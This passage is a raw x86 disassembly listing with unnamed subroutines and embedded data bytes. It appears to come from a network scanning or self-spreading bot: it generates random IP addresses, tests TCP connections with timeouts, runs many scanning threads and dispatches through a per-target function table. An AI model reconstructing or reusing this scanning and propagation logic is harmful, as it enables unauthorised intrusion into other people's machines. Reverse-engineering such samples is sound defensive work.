ecx pop ecx loc_40BD69: ; CODE XREF: sub_40BD1A+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_200] push eax call sub_415D38 add esp, 18h leave retn sub_40BD1A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BD91 proc near ; CODE XREF: sub_40C3E8+267p var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_40C263 shl eax, 6 xor ebx, ebx cmp dword_431804[eax], ebx jz loc_40C263 push 5 call sub_40B602 test eax, eax pop ecx jnz loc_40C018 mov eax, dword_429078 push edi mov esi, offset dword_4CDBDC push 104h push esi push ebx mov dword_4CDDEC, eax mov dword_4CDDE8, ebx call near ptr 2690000h nop mov edi, offset byte_429108 push 103h push edi push offset dword_4CDCE0 call sub_41BFD0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CDBD8, eax mov eax, [ebp+arg_138] push 7Fh mov dword_4CDE70, eax jnz short loc_40BE44 lea eax, [ebp+arg_10] push eax push offset dword_4CDDF0 call sub_41BFD0 add esp, 0Ch mov dword_4CDE74, 1 jmp short loc_40BE5E ; --------------------------------------------------------------------------- loc_40BE44: ; CODE XREF: sub_40BD91+94j lea eax, [ebp+arg_90] push eax push offset dword_4CDDF0 call sub_41BFD0 add esp, 0Ch mov dword_4CDE74, ebx loc_40BE5E: ; CODE XREF: sub_40BD91+B1j push esi lea eax, [ebp+var_204] push dword_4CDDEC push offset unk_42C204 push eax call sub_41C266 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_40B3BA add esp, 1Ch mov dword_4CDDE4, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CDBD8 push offset byte_412197 push ebx push ebx nop call near ptr 26A06F9h mov ecx, dword_4CDDE4 imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40BECC loc_40BEBA: ; CODE XREF: sub_40BD91+139j cmp dword_4CDE78, ebx jnz short loc_40BEE7 push 32h nop call near ptr 26A068Bh jmp short loc_40BEBA ; --------------------------------------------------------------------------- loc_40BECC: ; CODE XREF: sub_40BD91+127j call near ptr 26B0669h nop push eax lea eax, [ebp+var_204] push offset unk_431E08 push eax call sub_41C266 add esp, 0Ch loc_40BEE7: ; CODE XREF: sub_40BD91+12Fj lea eax, [ebp+var_204] push eax call sub_415D38 mov eax, dword_4CB710 mov esi, offset dword_4CDE84 mov [esp+210h+var_210], 104h push esi push ebx mov dword_4CE094, eax mov dword_4CE090, ebx nop call near ptr 2690000h push 103h push edi push offset dword_4CDF88 call sub_41BFD0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CDE80, eax mov eax, [ebp+arg_138] pop edi mov dword_4CE118, eax push 7Fh jnz short loc_40BF68 lea eax, [ebp+arg_10] push eax push offset dword_4CE098 call sub_41BFD0 add esp, 0Ch mov dword_4CE11C, 1 jmp short loc_40BF82 ; --------------------------------------------------------------------------- loc_40BF68: ; CODE XREF: sub_40BD91+1B8j lea eax, [ebp+arg_90] push eax push offset dword_4CE098 call sub_41BFD0 add esp, 0Ch mov dword_4CE11C, ebx loc_40BF82: ; CODE XREF: sub_40BD91+1D5j push esi lea eax, [ebp+var_204] push dword_4CE094 push offset unk_431DD4 push eax call sub_41C266 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_40B3BA add esp, 1Ch mov dword_4CE08C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CDE80 push offset word_40F3AA push ebx push ebx call near ptr 26A06F9h nop mov ecx, dword_4CE08C imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40BFF0 loc_40BFDE: ; CODE XREF: sub_40BD91+25Dj cmp dword_4CE120, ebx jnz short loc_40C00B push 32h call near ptr 26A068Bh nop jmp short loc_40BFDE ; --------------------------------------------------------------------------- loc_40BFF0: ; CODE XREF: sub_40BD91+24Bj call near ptr 26B0669h nop push eax lea eax, [ebp+var_204] push offset unk_431DA0 push eax call sub_41C266 add esp, 0Ch loc_40C00B: ; CODE XREF: sub_40BD91+253j lea eax, [ebp+var_204] push eax call sub_415D38 pop ecx loc_40C018: ; CODE XREF: sub_40BD91+35j mov eax, [ebp+arg_130] mov ecx, eax shl ecx, 6 cmp dword_43180C[ecx], ebx jz loc_40C141 push 7 call sub_40B602 test eax, eax pop ecx jnz loc_40C13B mov eax, dword_4CE710 cmp [ebp+arg_90], bl mov dword_4CDB44, eax mov eax, [ebp+arg_110] mov dword_4CDB38, eax mov eax, [ebp+arg_138] mov dword_4CDB40, ebx mov dword_4CDBC8, eax push 7Fh jnz short loc_40C08C lea eax, [ebp+arg_10] push eax push offset dword_4CDB48 call sub_41BFD0 add esp, 0Ch mov dword_4CDBCC, 1 jmp short loc_40C0A6 ; --------------------------------------------------------------------------- loc_40C08C: ; CODE XREF: sub_40BD91+2DCj lea eax, [ebp+arg_90] push eax push offset dword_4CDB48 call sub_41BFD0 add esp, 0Ch mov dword_4CDBCC, ebx loc_40C0A6: ; CODE XREF: sub_40BD91+2F9j push dword_4CDB44 lea eax, [ebp+var_204] push offset unk_431D70 push eax call sub_41C266 push ebx lea eax, [ebp+var_204] push 7 push eax call sub_40B3BA add esp, 18h mov dword_4CDB3C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CDB38 push offset dword_40F108 push ebx push ebx nop call near ptr 26A06F9h mov ecx, dword_4CDB3C imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40C113 loc_40C101: ; CODE XREF: sub_40BD91+380j cmp dword_4CDBD0, ebx jnz short loc_40C12E push 32h nop call near ptr 26A068Bh jmp short loc_40C101 ; --------------------------------------------------------------------------- loc_40C113: ; CODE XREF: sub_40BD91+36Ej nop call near ptr 26B0669h push eax lea eax, [ebp+var_204] push offset unk_431D38 push eax call sub_41C266 add esp, 0Ch loc_40C12E: ; CODE XREF: sub_40BD91+376j lea eax, [ebp+var_204] push eax call sub_415D38 pop ecx loc_40C13B: ; CODE XREF: sub_40BD91+2A8j mov eax, [ebp+arg_130] loc_40C141: ; CODE XREF: sub_40BD91+298j shl eax, 6 cmp dword_431808[eax], ebx jz loc_40C263 push 3 call sub_40B602 test eax, eax pop ecx jnz loc_40C263 mov esi, offset dword_4CE3B4 push 104h push esi push ebx nop call near ptr 2690000h push 5Ch push esi call sub_41C820 pop ecx cmp eax, ebx pop ecx jz short loc_40C182 mov [eax], bl loc_40C182: ; CODE XREF: sub_40BD91+3EDj mov eax, dword_42907C mov dword_4CE4CC, ebx mov dword_4CE4B8, eax lea eax, [ebp+arg_10] push eax push offset dword_4CE12C call sub_41C266 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_4CE128, eax mov ecx, [ebp+arg_138] push esi push dword_4CE4B8 mov dword_4CE4C4, ecx mov ecx, [ebp+arg_13C] push eax mov dword_4CE4C8, ecx call sub_40AA06 pop ecx push eax lea eax, [ebp+var_204] push offset unk_42C18C push eax call sub_41C266 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_40B3BA add esp, 20h mov dword_4CE4C0, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CE128 push offset sub_40FAD6 push ebx push ebx nop call near ptr 26A06F9h mov ecx, dword_4CE4C0 imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40C23B loc_40C229: ; CODE XREF: sub_40BD91+4A8j cmp dword_4CE4D4, ebx jnz short loc_40C256 push 32h call near ptr 26A068Bh nop jmp short loc_40C229 ; --------------------------------------------------------------------------- loc_40C23B: ; CODE XREF: sub_40BD91+496j nop call near ptr 26B0669h push eax lea eax, [ebp+var_204] push offset unk_431D04 push eax call sub_41C266 add esp, 0Ch loc_40C256: ; CODE XREF: sub_40BD91+49Ej lea eax, [ebp+var_204] push eax call sub_415D38 pop ecx loc_40C263: ; CODE XREF: sub_40BD91+14j ; sub_40BD91+25j ... pop esi pop ebx leave retn sub_40BD91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C267 proc near ; CODE XREF: sub_40C3E8:loc_40C459p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:4CBB20h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_41CD20 add esp, 0Ch push [ebp+arg_0] call dword_4CB8FC inc eax push eax mov [ebp+arg_0], eax call dword_4CB9D0 mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_41CD20 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_40C267 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C2AF proc near ; CODE XREF: sub_40C3E8+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_41B9C0 cmp eax, 0Fh pop ecx jbe short loc_40C2D7 xor eax, eax jmp short loc_40C348 ; --------------------------------------------------------------------------- loc_40C2D7: ; CODE XREF: sub_40C2AF+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_41CCE3 add esp, 18h cmp [ebp+var_C], esi jnz short loc_40C304 call sub_41C2C2 mov [ebp+var_C], eax loc_40C304: ; CODE XREF: sub_40C2AF+4Bj cmp [ebp+var_8], esi jnz short loc_40C311 call sub_41C2C2 mov [ebp+var_8], eax loc_40C311: ; CODE XREF: sub_40C2AF+58j cmp [ebp+var_4], esi jnz short loc_40C31E call sub_41C2C2 mov [ebp+var_4], eax loc_40C31E: ; CODE XREF: sub_40C2AF+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_40C32A call sub_41C2C2 loc_40C32A: ; CODE XREF: sub_40C2AF+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_4CBB20[ecx*8], eax loc_40C348: ; CODE XREF: sub_40C2AF+26j pop esi leave retn sub_40C2AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C34B proc near ; CODE XREF: ___:0040BBBEp ; sub_40C3E8+BBp ... var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_4CBA54 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C374 xor eax, eax jmp short loc_40C3E3 ; --------------------------------------------------------------------------- loc_40C374: ; CODE XREF: sub_40C34B+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_4CB9D4 mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_4CBA70 lea eax, [ebp+var_1C] push 10h push eax push esi call dword_4CB97C mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_4CB9BC push esi mov edi, eax call dword_4CBA6C xor eax, eax cmp edi, ebx setnle al loc_40C3E3: ; CODE XREF: sub_40C34B+27j pop edi pop esi pop ebx leave retn sub_40C34B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C3E8 proc near ; DATA XREF: sub_40C3E8+353o var_29C = dword ptr -29Ch var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_1CC = byte ptr -1CCh var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_14C = byte ptr -14Ch var_140 = byte ptr -140h var_13C = byte ptr -13Ch var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax call near ptr 26C0589h nop push eax call sub_41C2B8 mov ebx, esi pop ecx imul ebx, 234h loc_40C42F: ; CODE XREF: sub_40C3E8+204j mov eax, dword_43E914[ebx] cmp dword_4CBB24[eax*8], 0 jz loc_40C5F1 cmp [ebp+var_10], 0 push eax jz short loc_40C459 lea eax, [ebp+var_150] push eax call sub_40C2AF pop ecx jmp short loc_40C45E ; --------------------------------------------------------------------------- loc_40C459: ; CODE XREF: sub_40C3E8+60j call sub_40C267 loc_40C45E: ; CODE XREF: sub_40C3E8+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_43E914[ebx] push [ebp+var_3C] push edi call dword_4CBA60 push eax lea eax, [ebp+var_28C] push offset unk_431E64 push eax call sub_41C266 add esp, 18h lea eax, [ebp+var_28C] push eax lea eax, dword_43E710[ebx] push eax call sub_41C266 push [ebp+var_38] push [ebp+var_3C] push edi call sub_40C34B add esp, 14h cmp eax, 1 jnz loc_40C5E1 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_40C535 push offset dword_4CDB20 nop call near ptr 77F7E21Fh push [ebp+var_3C] push edi call dword_4CBA60 push eax lea eax, [ebp+var_28C] push offset unk_431E3C push eax call sub_41C266 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40C517 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40C50B lea eax, [ebp+var_140] loc_40C50B: ; CODE XREF: sub_40C3E8+11Bj push eax push [ebp+var_40] call sub_409869 add esp, 14h loc_40C517: ; CODE XREF: sub_40C3E8+100j lea eax, [ebp+var_28C] push eax call sub_415D38 mov [esp+29Ch+var_29C], offset dword_4CDB20 nop call near ptr 77F7E300h jmp loc_40C5E1 ; --------------------------------------------------------------------------- loc_40C535: ; CODE XREF: sub_40C3E8+D0j push edi call dword_4CBA60 push eax lea eax, [ebp+var_208] push eax call sub_41C266 mov eax, [ebp+var_20] pop ecx shl eax, 6 pop ecx add eax, offset aSym ; "sym" push eax lea eax, [ebp+var_178] push eax call sub_41C266 cmp [ebp+var_C0], 0 pop ecx pop ecx lea eax, [ebp+var_C0] jnz short loc_40C57A lea eax, [ebp+var_140] loc_40C57A: ; CODE XREF: sub_40C3E8+18Aj push eax lea eax, [ebp+var_1F8] push eax call sub_41C266 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] pop ecx mov [ebp+var_15C], eax mov eax, [ebp+var_14] sub esp, 0BCh mov [ebp+var_158], eax mov eax, [ebp+var_3C] push 2Fh mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_168], esi mov [ebp+var_164], eax lea esi, [ebp+var_20C] mov edi, esp shl eax, 6 rep movsd call off_4317FC[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40C5E1: ; CODE XREF: sub_40C3E8+C6j ; sub_40C3E8+148j push 7D0h nop call near ptr 26A068Bh jmp loc_40C42F ; --------------------------------------------------------------------------- loc_40C5F1: ; CODE XREF: sub_40C3E8+55j push esi call sub_40B6D6 pop ecx push 0 nop call near ptr 2710000h loc_40C600: ; DATA XREF: sub_401ACD+1F2Ao ; sub_401ACD+5B7Ao push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_4CBA14 mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_4CBB20[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_40BD91 push 0Bh call sub_40B602 add esp, 150h cmp eax, ebx jnz short loc_40C6CE mov esi, offset dword_4CDB20 push esi call near ptr 2710736h nop push 80000400h push esi nop call near ptr 27105A5h test eax, eax jnz short loc_40C6CE lea eax, [ebp+var_1CC] push offset unk_431F48 push eax call sub_41C266 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_40C6B8 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409869 add esp, 14h loc_40C6B8: ; CODE XREF: sub_40C3E8+2B1j lea eax, [ebp+var_1CC] push eax call sub_415D38 pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40C6CE: ; CODE XREF: sub_40C3E8+27Bj ; sub_40C3E8+297j mov eax, [ebp+var_2C] mov esi, dword_427080 mov edi, ebx mov dword_4CBB24[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_40C79B loc_40C6EC: ; CODE XREF: sub_40C3E8+3ADj push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_431F14 push eax call sub_41C266 push ebx lea eax, [ebp+var_1CC] push 0Bh push eax call sub_40B3BA mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_43E914[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40C3E8 push ebx push ebx nop call near ptr 26A06F9h mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40C766 loc_40C75B: ; CODE XREF: sub_40C3E8+37Cj cmp [ebp+var_4], ebx jnz short loc_40C78D push 1Eh call esi jmp short loc_40C75B ; --------------------------------------------------------------------------- loc_40C766: ; CODE XREF: sub_40C3E8+371j call near ptr 26B0669h nop push eax lea eax, [ebp+var_1CC] push offset unk_431EDC push eax call sub_41C266 lea eax, [ebp+var_1CC] push eax call sub_415D38 add esp, 10h loc_40C78D: ; CODE XREF: sub_40C3E8+376j push 1Eh call esi inc edi cmp edi, [ebp+var_20] jbe loc_40C6EC loc_40C79B: ; CODE XREF: sub_40C3E8+2FEj cmp [ebp+var_30], ebx jz loc_40C845 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi loc_40C7B0: ; CODE XREF: sub_40C3E8+468j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_4CBB20[eax*8] push eax call dword_4CBA60 push eax lea eax, [ebp+var_1CC] push offset unk_431E9C push eax call sub_41C266 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_40C7FE push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409869 add esp, 14h loc_40C7FE: ; CODE XREF: sub_40C3E8+3F7j lea eax, [ebp+var_1CC] push eax call sub_415D38 mov eax, [ebp+var_2C] mov [esp+29Ch+var_29C], 0BB8h mov dword_4CBB24[eax*8], ebx call esi push 0Bh call sub_40B602 cmp eax, 1 pop ecx jnz short loc_40C835 push offset dword_4CDB20 call near ptr 2710736h nop loc_40C835: ; CODE XREF: sub_40C3E8+440j push [ebp+var_2C] call sub_40B6D6 pop ecx push ebx nop call near ptr 2710000h loc_40C845: ; CODE XREF: sub_40C3E8+3B6j ; sub_40C3E8+475j mov eax, [ebp+var_2C] cmp dword_4CBB24[eax*8], 1 jnz loc_40C7B0 push 7D0h call esi jmp short loc_40C845 sub_40C3E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C85F proc near var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0BCh mov eax, [ebp+arg_0] push esi push edi push 2Bh pop ecx mov esi, eax lea edi, [ebp+var_BC] push 1 rep movsd pop esi mov [eax+0A8h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_38] call dword_4CB9D4 mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_4CBA54 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40C91D lea eax, [ebp+var_10] push 10h push eax push esi call dword_4CB97C mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_43E91C[ecx], esi jz short loc_40C91D push [ebp+var_38] push [ebp+var_28] call dword_4CBA60 push eax mov edi, offset dword_4CE4E4 push offset dword_431F7C push edi call sub_41C266 push 0 lea eax, [ebp+var_B8] push [ebp+var_20] push edi push eax push [ebp+var_BC] call sub_409869 push edi call sub_415D38 add esp, 28h loc_40C91D: ; CODE XREF: sub_40C85F+5Dj ; sub_40C85F+7Ej push esi call dword_4CBA6C pop edi xor eax, eax pop esi leave retn 4 sub_40C85F endp ; --------------------------------------------------------------------------- dword_40C92C dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh ; DATA XREF: sub_401ACD+5F60o dd 0FF4CBD8Dh, 0A5F3FFFFh, 7080358Bh, 83C70042h, 0A4h dd 1, 75FFFF33h, 0E075FFD0h, 0BA6015FFh, 8D50004Ch, 0FFFECC85h dd 1FA468FFh, 0E8500043h, 0F8EEh, 0FECC858Dh, 0FF68FFFFh dd 50000001h, 69DC458Bh, 234C0h, 0E7100500h, 0E8500043h dd 0F638h, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh dd 40C85Fh, 0E8905757h, 2293D45h, 4589C73Bh, 390B74FCh dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 0ECE890FCh, 0FF02273Eh dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah dd 0E8500845h, 10334h, 0FF0CC483h, 15FF0875h, 4CB8FCh dd 45895040h, 0D015FF08h, 89004CB9h, 458D0845h, 50046A08h dd 50E0458Dh, 1030BE8h, 0CC48300h, 0FFFF3DE9h db 0FFh byte_40CA1D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+5C80o dd 130EC81h, 8B530000h, 5756085Dh, 0F38B2B6Ah, 50BD8D59h dd 0F3FFFFFFh, 80358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h dd 75FFD475h, 6015FFE4h, 50004CBAh, 0FED0858Dh, 0F868FFFFh dd 5000431Fh, 0F7FDE8h, 0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h dd 234C069h, 10050000h, 500043E7h, 0F547E8h, 1CC48300h dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C85F68h, 0E8575700h dd 2293C55h, 89C73B90h, 0B740845h, 75F87D39h, 0FF326A06h dd 0FFF5EBD6h, 0E8900875h, 2273DFBh, 8CB3FFh, 0BB890000h dd 0A8h, 458BD6FFh, 0D8453BD4h, 45FF0874h, 0FF6DE9D4h dd 75FFFFFFh, 6015FFE4h, 50004CBAh, 0FED0858Dh, 0CC68FFFFh dd 5000431Fh, 0F76DE8h, 858D5700h, 0FFFFFED0h, 50EC75FFh dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0CD53E8FFh, 75FFFFFFh dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh db 4, 0 ; =============== S U B R O U T I N E ======================================= sub_40CB2A proc near ; CODE XREF: sub_40CD9E+Ep ; sub_40CD9E+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40CB2A endp ; =============== S U B R O U T I N E ======================================= sub_40CB34 proc near ; CODE XREF: sub_40CD9E+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_41BEB5 mov edi, eax pop ecx test edi, edi jz short loc_40CB66 push ebx push 0 push edi call sub_41BF70 push ebx push [esp+1Ch+arg_0] push edi call sub_41CD20 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40CB66: ; CODE XREF: sub_40CB34+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_40CB34 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CB6E proc near ; CODE XREF: sub_40CC68+18p ; sub_40CCE2+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_41BEB5 mov esi, eax pop ecx test esi, esi jz short loc_40CBBA push edi push 0 push esi call sub_41BF70 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_41CD20 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_41CD20 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40CBBA: ; CODE XREF: sub_40CB6E+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40CB6E endp ; =============== S U B R O U T I N E ======================================= sub_40CBC3 proc near ; CODE XREF: sub_40CC68+5Ep ; sub_40CC68+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40CBD3 push eax call sub_41BA91 pop ecx loc_40CBD3: ; CODE XREF: sub_40CBC3+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_40CBC3 endp ; =============== S U B R O U T I N E ======================================= sub_40CBDC proc near ; CODE XREF: sub_40CC68+20p ; sub_40CD43+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40CC09 xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_41BEB5 mov edi, eax pop ecx test edi, edi jnz short loc_40CC0D loc_40CC09: ; CODE XREF: sub_40CBDC+Dj xor al, al jmp short loc_40CC64 ; --------------------------------------------------------------------------- loc_40CC0D: ; CODE XREF: sub_40CBDC+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_41BF70 add esp, 0Ch cmp ebx, 1 jnz short loc_40CC32 mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40CC4C ; --------------------------------------------------------------------------- loc_40CC32: ; CODE XREF: sub_40CBDC+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_40CC4C: ; CODE XREF: sub_40CBDC+54j push eax call sub_41CD20 add esp, 0Ch push dword ptr [esi] call sub_41BA91 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40CC64: ; CODE XREF: sub_40CBDC+2Fj pop edi pop esi pop ebx retn sub_40CBDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CC68 proc near ; CODE XREF: sub_40CD9E+89p ; sub_40CD9E+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset word_4CB88C call sub_40CB6E lea ecx, [ebp+var_8] call sub_40CBDC mov eax, [ebp+var_4] inc eax push eax call sub_41BEB5 mov edi, eax pop ecx test edi, edi jnz short loc_40CCA2 xor al, al jmp short loc_40CCDE ; --------------------------------------------------------------------------- loc_40CCA2: ; CODE XREF: sub_40CC68+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_41BF70 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_41CD20 add esp, 18h mov ecx, esi call sub_40CBC3 mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_40CBC3 mov al, 1 loc_40CCDE: ; CODE XREF: sub_40CC68+38j pop edi pop esi leave retn sub_40CC68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CCE2 proc near ; CODE XREF: sub_40CD16+14p ; 